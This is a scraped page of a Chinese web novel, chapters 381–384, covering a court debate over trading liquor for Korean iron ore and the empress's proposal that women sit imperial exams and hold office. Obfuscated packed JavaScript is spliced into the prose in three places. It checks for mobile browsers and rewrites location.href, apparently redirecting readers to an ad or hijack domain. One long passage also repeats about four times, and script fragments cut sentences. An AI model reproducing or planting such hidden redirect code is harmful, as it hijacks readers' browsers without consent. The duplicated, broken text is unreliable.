l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224365|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了些事情我自己拿不定主意所以要跟大人们商量商量。” 刘恺威笑道:“哈哈哈以世子的聪明才智哪需要和我们商量?您拿主意不就好了!” 宋正林也笑意盎然:“呵呵呵呵没错现在的大乾有世子和王爷坐镇什么事情都是一句话不必 过于谦逊。” “非也。”林臻摇摇头:“我们大乾要走上正轨,就必须要按照规矩来,其实今天我还邀请了陛下,但是陛下有事情,不能亲临,让我全权代为处理。既然如此,那我就有话直说了。” 浣碧再次给林臻倒酒,林臻一口干掉,说道:“韩国使臣名叫金俊煕,他想用他们韩国的铁矿,来换取我们大乾的二锅头。” 林震仙放下手中的筷子,像是听闻了什么惊人之事。随即猛地一拍桌面,发出沉闷的声响,震得桌上的酒盏都晃了几晃,他眉头紧锁,目光锐利如鹰:“韩国竟然要用矿石换二锅头?他脑袋让小胖踢了吧?这什么路子?” 众人的动作都为之一顿,纷纷放下手中碗筷,将目光投向林臻。 林臻嘴角挂着自信的笑,不过其余大臣可就没那么轻松了。 用酒换矿石,傻子都知道有问题。 工部尚书宋正咽下口中食物,微微皱眉。 抬手轻抚胡须,思索片刻后开口道:“世子是什么想法?” “你先说你的看法吧。” “下官遵命。您知道,武清开发区现在诸事繁杂,各类建造、建筑确实急需大量钢铁。不过依下官看来,咱们还不至于匮乏到那般田地。更何况东北地区的铁矿已经在开发了,这韩国无端抛出如此提议,下官总觉得其中有猫腻,所以不敢贸然赞成。” 说着,他又端下酒杯,轻抿一口,温热的酒水入喉,驱散了些许寒意,眼神中却依旧透着疑虑。 身后的丫鬟见状,立刻为他斟满酒杯,动作悄无声息。 兵部尚书刘恺威本就身形魁梧,一身戎装在身,虎皮马甲随意搭在椅背上,听闻此言,他重重地搁下酒杯,双手握拳砸在桌上:“世子,如今我大乾正值士兵扩招之际,军备需求猛增,兵器铠甲严重不足。若能用这区区二锅头换来急需的铁矿石,解我燃眉之急,依下官看,不失为一个良策啊!毕竟酒是用来喝的,可铁是用来打仗的。” 第382章 为书友肆壹肆。打赏的冲榜火箭加更 林震仙暗暗点头。 如果按照正常逻辑这肯定是个不错的买卖。 用酒换铁矿百利而无一害。 刑部尚书赵铭、礼部尚书杜文轩和吏部尚书钱书恒对视一眼彼此眼中皆是迷茫。 刑部尚书赵铭暗暗腹诽礼部管礼仪教化吏部掌官员任免刑部司刑狱缉拿这商量贸易的事情喊他们来干什么? 难不成真是吃饭啊? 他缩了缩脖子将手笼在袖筒里闷声不响地夹了一筷子菜放入口中咀嚼借此掩饰尴尬。 身后丫鬟轻轻为他整理了一下衣领以免饭菜沾染。 礼部尚书杜文轩轻咳一声端起茶盏 吏部尚书钱书恒则正襟危坐目光低垂在思索这其中深意双脚不自觉地靠近炭火盆手中的筷子有一搭没一搭地拨弄着盘中食物。 这些动作都让林臻看在眼里。 果然是我们华夏的官员啊。 能不揽事就不揽事能不说话就不说话能装疯卖傻就绝不做出头鸟。 好一个不求有功但求无过。 户部尚书陈启年倒是心思敏锐很快抓住关键他目光炯炯望向林臻:“世子若单论换取交易用二锅头换矿石着实是笔好买卖。二锅头酿造工序虽有讲究可按您上报的税款来看原料成本并不高但是在市面上却价格不菲若能借此换来大量矿石于我大乾财税、军工皆是大有益处。” 林震仙却并未被轻易他沉吟半晌手指有节奏地敲击桌面发出笃笃声响:“老夫倒觉得这事儿没那么简单。韩国虽地小人怂但他们皇帝韩天鸿可不是大傻逼用珍贵的铁矿石换酒水这明显是赔本买卖背后定有隐情。” 林臻一直静听众人言语此刻他嘴角勾起一抹淡笑微微点头:“祖父所言极是这就是笔赔本买卖可韩国却不得不这么做。” “为何?”林震仙与众人齐声问道目光齐刷刷聚焦在林臻身上。 林臻用玉佩轻轻敲击掌心状语从句:“因为煊赫门。” 这三个字一出众人面露惊色。 这个门派没有人不知道也没有人敢小觑。 林臻继续说道:“煊赫门在韩国势力非常庞大甚至连韩天鸿本人就是现任煊赫门门主韩天星的弟弟。我怀疑他们早就和楚国狼狈为奸勾搭在一起了。此番用矿石换二锅头估计就是煊赫门的主意 说不准就是韩天星的主意。” “不是这帮人到底要干什么啊?”林震仙追问眼神愈发深邃。 林臻起身踱步走向窗边望着窗外被白雪覆盖的园林夜幕下一切都显得静谧而又神秘他缓缓道:“他们意在重新打开我大乾早已闭关的口岸。我朝科考在即如今距离新一届科考已不到半年时间。他们妄图趁此机会让奸细混入我朝或窃取科考试题在我朝当官扰乱我朝选拔人才秩序;或刺探军政机密为日后布局。所以说这个口岸一旦打开后患无穷。” 他的声音沉稳有力却又透着几分忧虑呼出的白气在玻璃上凝结成一小片雾模糊了窗外的雪景。 众人听闻纷纷点头好像明白了几分。 吏部尚书钱书恒皱眉他都不敢想象一旦自己管理的大考中出现韩国或者楚国奸细他会受到什么惩罚。 看来林臻喊他来绝不是无的放矢。 “世子英明 礼部尚书杜文轩也附和点头。 林震仙目光扫过众人最后落定在林臻身上:“臻儿你既然已经知道对方的阴谋可为什么还要跟我们商量呢?你直接去做不就好了吗?” “是啊世子这么明显的事情我们直接拒绝就行根本不需要商量什么。” 林臻无奈地摇摇头:“唉你们怎么就不懂呢。规矩!规矩!规矩!我们需要强调的是规矩!我不是皇帝不能搞一言堂。再说就算是陛下也得听取大臣的意见不能想干什么就干什么。再者我没有想拒绝他甚至我觉得这买卖真的很不错。” “啊?” “世子万一边关城池开放让他们混进来怎么办?” “就是啊世子我们现在几乎是闭关锁国奸细想混进来没那么容易可一旦开放口岸这防不胜防啊!” “请世子三思!” 林臻转身走回桌旁命令浣碧取来舆图。 寒夜的冷风在王府静心园外呼啸园内的积雪在微光下泛着清冷的光一片静谧中唯有这座亮着灯火的楼阁透着人气与暖意。 浣碧带着几名手脚伶俐的丫鬟小心翼翼地将一幅巨大的华夏地图推了过来。 那地图绘制在厚实的羊皮之上山川河流、城郭关隘皆以细腻的笔触勾勒颜料晕染出的色彩鲜艳而清晰在烛光的映照下仿若一片微缩的山河大地平铺眼前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224366|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 六部尚书的目光瞬间 被吸引,齐齐投了过去,眼中满是探究与专注。 林臻身姿挺拔地站在地图前,一袭雪白锦袍更衬得他气宇轩昂。 他伸手拿起一根细长的竹竿,竹竿顶端的红缨在空气中轻轻晃动,缓缓指向韩国与乾国的边境线,声音沉稳有力。 “诸位大人请看,颍川、陈留、兖东这三个郡紧挨着韩国。依我之见,咱们就命颍川与韩国通商来往。”说罢,他微微一顿,目光扫视众人,眼中闪过一丝狡黠。 瞬间,屋内陷入短暂的寂静,众人都在心底迅速权衡着这一提议的利弊。 片刻后,林臻嘴角勾起一抹坏笑,打破沉默:“不过嘛” 那拖长的尾音,让众人都竖起了耳朵。 “颍川只是来往的城池,但并不对韩国开放。” “世子的意思下官不是很明白,如果要来往,那必定要开放城池啊。”户部尚书问道。 林臻解释说:“当然不能开放了。任何国家的人都不许进我们国内,这是基本条件。” 兵部尚书刘凯文先是一愣,随即眼睛一亮,像是领悟了林臻的深意。 他激动地一拍大腿,站起身来:“我明白了!哈哈哈哈,世子的意思是,东西可以交换,但是交换地点在韩国,我们的人把东西送进去,然后再把东西带回来,全程不允许任何人进入我国!这不仅实现了二锅头换铁矿,还能把奸细阻挡在国门之外!妙啊,实在是妙!” 他兴奋地说着,眼中满是对这一计策的赞赏,魁梧的身形因激动而微微颤抖。 林臻笑着点头,目光中透着自信:“没错,就是这个意思。用酒换矿石,对我们而言无疑是桩极为划算的买卖,要知道二锅头的生产只是用少许粮食而已。但自从南楚战败后,我们根本就不缺粮食!而韩国丰厚的矿石资源,于我大乾的军工、建造,皆是巨大的助力,这诱惑不可谓不大。所以我们将计就计,占他一波便宜。” 他边说边轻轻敲击着手中竹竿,节奏与他话语的韵律相合,每一下都似敲在众人的心坎上。 一直坐在主位上默不作声的林震仙,此时皱起了眉头,虎着脸,语气略带嗔怪:“这不等于耍无赖么?我们大乾虽然打了胜仗,但也不能仗势欺人,这有辱我国国威。” 第383章 女子为官?(为肆壹肆。打赏的666加更) 噗。 林臻撇撇嘴。 都什么时候了,七国之间几乎就是不死不休的局面,还担心脸面有什么用。 再说,这东西都是私下里玩的计谋,他们煊赫门玩不过就认栽,难道还能编造舆论不成。 林臻不慌不忙上前一步,恭敬地向祖父拱手解释:“祖父,咱们可从未说过要让他们进城,条约中也不会写这样的条款,又何来耍无赖一说?法不禁止就是允许,韩天鸿不敢说什么。 林震仙当然知道林臻说的有道理,只是他的清高性子在作怪,总觉得这样耍无赖有些不合适。 却不曾想,如今王府与大乾的辉煌,哪样不是耍无赖得来的?脸面是对君子用的,对小人,要用刀。 这时,屋内气氛为之一松,六部的尚书们你一言我一语,夸赞之声不绝于耳。 “世子此计既保我大乾利益,又能防患于未然,实乃高瞻远瞩啊! “世子思虑周全,这般安排既顾全了外交礼仪,又严守国门,让韩国吃个哑巴亏!哈哈哈,爽! 林臻微笑着一一谢过,待众人夸赞声稍歇,他神色一正,恢复了议事时的严肃。 “此计虽好,但我们也需要做个万全的安排。我的建议是,此次负责在颍川接应矿石以及运送二锅头的队伍,都纳入工部名下统一管理,工头授予八品官职,便于调度。 户部负责给他们发放薪俸,务必保障人员衣食无忧,使其能安心效力。 刑部回去之后,要尽快草拟专门针对送货队伍的法典,严明纪律,杜绝一切可能出现的纰漏与违法行径,尤其是不能让煊赫门的人混进来。 户部还要协同工部,制定出详细的队伍送货规范,从货物装卸、运输路线到交接流程,都得有章可循。 今日将诸位大人一同召集至此,便是要把这些事宜都商议透彻,明日早朝,咱们便将整套方案上报给陛下,听候圣裁。 林臻声音不高,却字字清晰,掷地有声。 众人皆正襟危坐,凝神聆听,不时点头表示明白。 待说完以后,六部尚书齐声领命:“遵命! 晨曦初露,金色的阳光如细密的丝线,透过金銮殿高耸的雕花窗棂,倾洒而入,在殿内的金砖地面上交织出一片片光斑,仿若为这庄严肃穆之地铺上了一层华丽的锦缎。 女帝慕容嫣身着一袭无比奢华的凤袍,款步走入殿内。 那凤袍以金线织就,凤凰呈祥的图案栩栩如生,每一片羽翼都仿佛蕴含着灵动的生命力, 在日光下闪烁着耀眼光芒。 她莲步轻移,裙摆拖地,周身散发的威严之气让殿内空气都仿若为之凝息。 端坐在凤椅之上,面前的凤案宽大而辉煌,案上摆放着的玉玺、笔墨纸砚等物皆为稀世珍宝,件件散发着温润的光泽。 身后的凤凰屏风更是巧夺天工,木质框架上镶嵌着各类宝石、珍珠,五彩斑斓的凤凰于屏风之上展翅欲飞,似在守护着这位传奇的女帝。 随着慕容无舌一声尖细悠长的“陛下驾到,殿内百官齐刷刷跪地,高呼道。 “吾皇万岁万岁万万岁! 声音响彻金銮殿,回音在殿梁间缭绕。 百官身着朝服,颜色各异却皆庄重规整,官帽上的配饰在日光下闪烁微光。 “众爱卿平身。 “谢陛下。 慕容嫣轻轻抬手,示意百官平身,目光在殿内扫视一圈,忽地,她眼中闪过一丝讶异与欣喜。 原来林臻今日也来了。 而且正昂首挺胸地站在群臣最前列。 四目相对,两人心照不宣的婉儿一笑,那笑容仿若春日破冰的暖流,在这略显凝重的朝堂之上悄然流淌,带着几分默契与亲昵。 “众爱卿可有本奏?慕容嫣收回目光,朱唇轻启。 林臻闻听,稳步上前一步,身姿挺拔如松。 “启禀陛下,昨夜臣与六部尚书于王府商议韩国求购二锅头一事,如今已有良策。 慕容嫣亦是面露好奇,微微前倾身子,追问道:“哦?世子速速道来。 林臻目光迎上慕容嫣,将昨天商量的事情和盘托出,说得十分详细。 慕容嫣听得频频点头。 每听林臻说一句,便展颜一笑,眼中满是赞赏与认同,默契之感溢于言表。 待林臻说完,她玉手轻扬,一甩凤袍,动作优雅至极,仿若翩翩起舞的凤凰舒展羽翼。 “世子所言深得朕心,准奏。 群臣见状,纷纷跪地,高呼。 “陛下圣明。 就连林震仙都一躬到地,深深为自己的孙子感到骄傲。 然而,慕容嫣接下来的一番话,却仿若一颗重磅炸弹。 “朕亦有要事欲与爱卿们商议。她微微坐直身子,目光坚定地扫过群臣,“朕以女子之身登基,已然开创先例,既如此,朕以为,不妨借此契机,令女子亦可参加科考。自此往后,女子地位当与男子等同,可读书、可做工,甚至可为官! 此言一出 ,仿若平地惊雷。 群臣先是一愣,仿若不敢相信自己的耳朵,继而激愤之情瞬间在殿内炸来。 礼部尚书杜文轩率先挺身而出,他面色涨红,额头青筋微微凸起,急声奏道:“陛下,万万不可啊!女子为帝,已然是违背祖意传统,如今若再让女子为官,这天下岂不乱了套?自古以来,朝堂皆为男子之天下,女子主内,男子主外,此乃天道人伦,不可轻易更改啊!您看那经史典籍,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224367|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有女子朝堂论政、执掌乾坤之理?这要是开了口子,日后朝纲何存?祖宗颜面何存?” 工部尚书宋正林亦紧接着站出,附和道:“陛下,臣附议。女子当官,着实不可取。若只是让女子读书识字,做工经商,倒也无伤大雅,于民生经济或有增益,可一旦为官,朝堂之上诸多机要事务,女子如何应付得来?且男女混杂为官,礼仪纲常何在?臣听闻,女子多情感用事,若遇军国大事,仅凭一时意气、儿女情长做决断,岂不误国误民?” 刑部尚书赵铭冷哼一声,大步跨出,言辞犀利:“陛下,臣以为此事荒谬至极!女子身娇体弱,怎堪官场倾轧、宦海浮沉?莫说处理繁杂政务,便是外出巡查、缉拿罪犯,女子能有几分力气?万一遇上紧急军情,需要披甲上阵、冲锋陷阵,女子又该如何?这不是拿我大乾江山社稷开玩笑吗?” 吏部尚书钱书恒也不遑多让,忧心忡忡地进言:“陛下,科考乃为国选材之大典,所选之人当德才兼备、能肩负重任。女子自幼受闺阁教育,所学多为女红、琴棋书画,于治国理政之术、安邦御敌之策一窍不通。若让女子参加科考、混入官场,岂不是良莠不齐,坏了我朝用人之道?长此以往,朝堂必被庸才充斥,国家何以为继?” 户部尚书陈启年皱着眉头,从旁补充:“陛下,且不说别的,单论这官场俸禄、官职编制,本就按男子为官之数安排,若女子大量涌入,财政负担必然骤增。我朝如今虽有盈余,但诸多民生工程、军备建设尚需资金,哪有余力供养大批女官?这不是自找麻烦吗?” 一时间,群臣纷纷响应,你一言我一语,反对之声此起彼伏,整个金銮殿仿若炸开了锅。 慕容嫣坐在凤椅之上,气得粉拳紧握,指节都因用力而泛白。 她目光恼怒地扫过群臣,最后落定在林臻身上。 却见他居然神色平静,并无表态之意,心中更是气不打一处来。 “朕都能用女子身份当皇帝,为何女子就不能当官?莫不是你们男人瞧不起女子?瞧不起朕?”慕容嫣娇声怒斥,声音中透着委屈与愤怒,眼眶都微微泛红,凤目中泪光闪烁,却倔强地不肯落下,那楚楚可怜又盛气凌人的模样,让人心生怜惜又畏惧三分。 林震仙见势不妙,赶忙出列,微微躬身,温言劝道:“陛下,此事事关重大,牵一发而动全身,所以还需从长计议。” 言罢,目光不着痕迹地看向林臻,那眼神好像在说:这件事情你和你夫君去商量,在金銮殿上说什么呀。 慕容嫣如何看不明白这其中门道,她气鼓鼓地一甩凤袍袖子,仿若一只受伤后傲娇的凤凰,厉声喝到:“退朝!” 说罢,起身径直朝殿后走去,凤袍拖地的沙沙声在喧嚣渐止的大殿内格外清晰,似在诉说着她的不甘与愤懑。 第384章 提高女子地位(为肆壹肆。加更) 群臣如潮水般缓缓散去,金銮殿外的广场上,积雪在日光下闪烁着细碎的光芒。 慕容嫣气鼓鼓地径直朝着养心殿的方向快步走去,凤袍的下摆随着她的步伐在雪地上拖出一道长长的痕迹,像是一条愤怒的金蟒在洁白雪面游弋。 她身姿挺拔,可那微微颤抖的双肩还是泄露了内心的委屈与愤懑,莲步生风,每一步都似带着千钧之力,恨不得将这脚下的积雪踏碎。 林臻瞧着这情景,心中暗叹。 嫣儿还是太着急了,在根深蒂固的传统思想中,想要提高女性谈何容易?更何况这是要动摇男人地位的!那些习惯了由男人做主导的大臣怎会允许她这么做呢。 他们都宁可到脑袋也不会允许这样的事情发生。 待群臣退得干干净净,他便赶忙提步追赶过去。 寒风撩动他的衣袂,他却毫不在意,目光紧紧锁定在前方那一抹亮丽而倔强的身影上。 “嫣儿,等等我。”林臻高声呼喊,可慕容嫣仿若未闻,脚步愈发急促,像是要借此宣泄满心的怒火。 林臻无奈一笑,脚下步伐加快,三两步便赶了上去。 眼见距离拉近,他一伸手,精准地握住了慕容嫣的柔荑。 入手冰凉,让他心疼不已。 “嫣儿,别闹了。”他的声音轻柔,带着几分哄劝,几分亲昵。 慕容嫣娇躯一震,扭头看向他,凤目中怒火熊熊:“放开我,你这死没良心的,关键时刻竟然一句话也不为我说,我讨厌你!” 她边说边用力挣扎,想要甩开林臻的手,那模样好似一只被激怒的小兽,张牙舞爪却又带着几分楚楚可怜。 林臻岂会轻易松手,他手上微微用力,顺势将慕容嫣轻轻一拉,慕容嫣一个踉跄,便撞进了他的怀里。 紧接着,他不顾慕容嫣粉拳如雨点般落在胸口,双臂紧紧环抱住她,将她牢牢禁锢在怀中。 “傻瓜,你太心急了。”他低头,在她耳畔轻声说道,温热的气息喷在她脖颈间,带着宠溺与无奈,“你才刚刚以女子身份称帝,根基未稳,就立刻颁布提高女性地位的旨意,群臣反对也是很正常的。这许多事,急不得,得循序渐进啊。” 慕容嫣在他怀里挣扎了几下,见挣脱无望,又闻听此言,心中的委屈瞬间如决堤洪水,汹涌而出。 “我不管,女子苦了千百年,一直是男人的附属品,现在朕好不容易称帝,当然要照顾女性。”她带着哭腔喊道,眼眶泛红,泪水在眼眶里打转,却倔强地不肯落下, 那楚楚动人的模样,让林臻的心都揪了起来。 林臻轻轻拍着她的后背,像在安抚一只受伤的小鹿:“我明白你的心思,可你也要想想当下的局势。你瞧,现在朝堂上都是男人,他们把持朝政多年,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” “对啊,她日后肯定也要为官的,所以你的提议我早就有了想法,并且已经开始实施了。” “怎么实施的,快和朕说说!” 林臻坏笑着把脸凑过去:“你亲我一下,我就告诉你。” “贱死你了。”慕容嫣再次翻个白眼,见麝月和无舌他们都很默契地转过身,装作什么都没看见的样子,飞快地在林臻脸上亲了一下。 “行了吧?快说,朕等不及了呢。” 那楚楚动人的模样,让林臻的心都揪了起来。 林臻轻轻拍着她的后背,像在安抚一只受伤的小鹿:“我明白你的心思,可你也要想想当下的局势。你瞧,现在朝堂上都是男人,他们把持朝政多年,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” “对啊,她日后肯定也要为官的,所以你的提议我早就有了想法,并且已经开始实施了。” “怎么实施的,快和朕说说!” 林臻坏笑着把脸凑过去:“你亲我一下,我就告诉你。” “贱死你了。”慕容嫣再次翻个白眼,见麝月和无舌他们都很默契地转过身,装作什么都没看见的样子,飞快地在林臻脸上亲了一下。 “行了吧?快说,朕等不及了呢。” 那楚楚动人的模样,让林臻的心都揪了起来。 林臻轻轻拍着她的后背,像在安抚一只受伤的小鹿:“我明白你的心思,可你也要想想当下的局势。你瞧,现在朝堂上都是男人,他们把持朝政多年,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” “对啊,她日后肯定也要为官的,所以你的提议我早就有了想法,并且已经开始实施了。” “怎么实施的,快和朕说说!” 林臻坏笑着把脸凑过去:“你亲我一下,我就告诉你。” “贱死你了。”慕容嫣再次翻个白眼,见麝月和无舌他们都很默契地转过身,装作什么都没看见的样子,飞快地在林臻脸上亲了一下。 “行了吧?快说,朕等不及了呢。” 那楚楚动人的模样,让林臻的心都揪了起来。 林臻轻轻拍着她的后背,像在安抚一只受伤的小鹿:“我明白你的心思,可你也要想想当下的局势。你瞧,现在朝堂上都是男人,他们把持朝政多年,早已习惯了男子主导一切。你突然要让女人当官,这不是明摆着在动摇他们的地位嘛?他们自然会拼死反对。你若真想让女子出头,就需要一点一点培养,慢慢改变他们的固有想法。” 他的声音沉稳而坚定,每一个字都似带着安抚人心的力量,传入慕容嫣耳中。 慕容嫣咬着下唇,努力不让泪水落下,可那争气的眼泪还是啪叽一声落在地上,溅起一小朵晶莹的水花。 她猛地抬起手,用衣袖狠狠擦去眼角的泪花,而后挣开林臻的怀抱,快步走到路旁的亭子里。 麝月早已等候在此,见慕容嫣进来,急忙上前,手脚麻利地用松软的垫子垫在椅子上,又将暖手炉轻轻放在慕容嫣手边,紧接着转身端来火盆,摆在亭子中央。 一时间,亭内暖意融融,驱散了些许慕容嫣心头的寒意。 林臻跟在后面,缓缓走进亭子,站在慕容嫣身边,再次牵起她的手。 那手依旧冰凉,他轻轻揉搓着,试图将温暖传递过去。 “嫣儿,我知道你一心想为女子谋福祉,这是好事,也是大义之举。可这朝堂之上,波谲云诡,牵一发而动全身。你今日提出让女子为官,着实操之过急了。”他微微顿了顿,目光望向亭外的雪景,似在思索着什么。 “咱们不妨从基础做起,先在民间大力推广女子识字读书,兴办女学,让更多女子有了才学,才能有底气入朝为官。同时,在朝堂之上,咱们可以先挑选几位有能力、有见识的女子成为女舍人,充当太监的身份来听政,就像嬛嬛似的,这样群臣也不会说什么。” “别跟朕提那个贱胚子!” 慕容嫣翻个白眼,显然是对嬛嬛恨意未消。 林臻继续说道:“先安排个舍人,等有什么朝堂大事的时候让她们出谋划策,如果可行,就算有功,我们可以趁机把她安排在一个非关键却又能见成效的职位上,让群臣看到女子的能力,慢慢改变他们的看法。如此双管齐下,假以时日,女子为官便不再是天方夜谭了。” 慕容嫣听着林臻的话,心中的怒火渐渐平息,取而代之的是思索与动容。 她轻轻抽回手,拿起暖手炉,抱在怀中,感受着那丝丝暖意渗透肌肤。 “你说得倒也有些道理,只是这兴办女学,谈何容易?资金、师资、场地,样样都是难题。朝堂上那帮老顽固,又怎会轻易同意拨款?” “哈哈哈哈,嫣儿真是被气糊涂了,你忘了?为夫手下就有个书院,而且还住着一个天下第一才女。” 慕容嫣眼睛一亮:“你说的是大乾书院,是楚惜灵!” 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$(''.inform'').remove(); $(''#content'').append('' 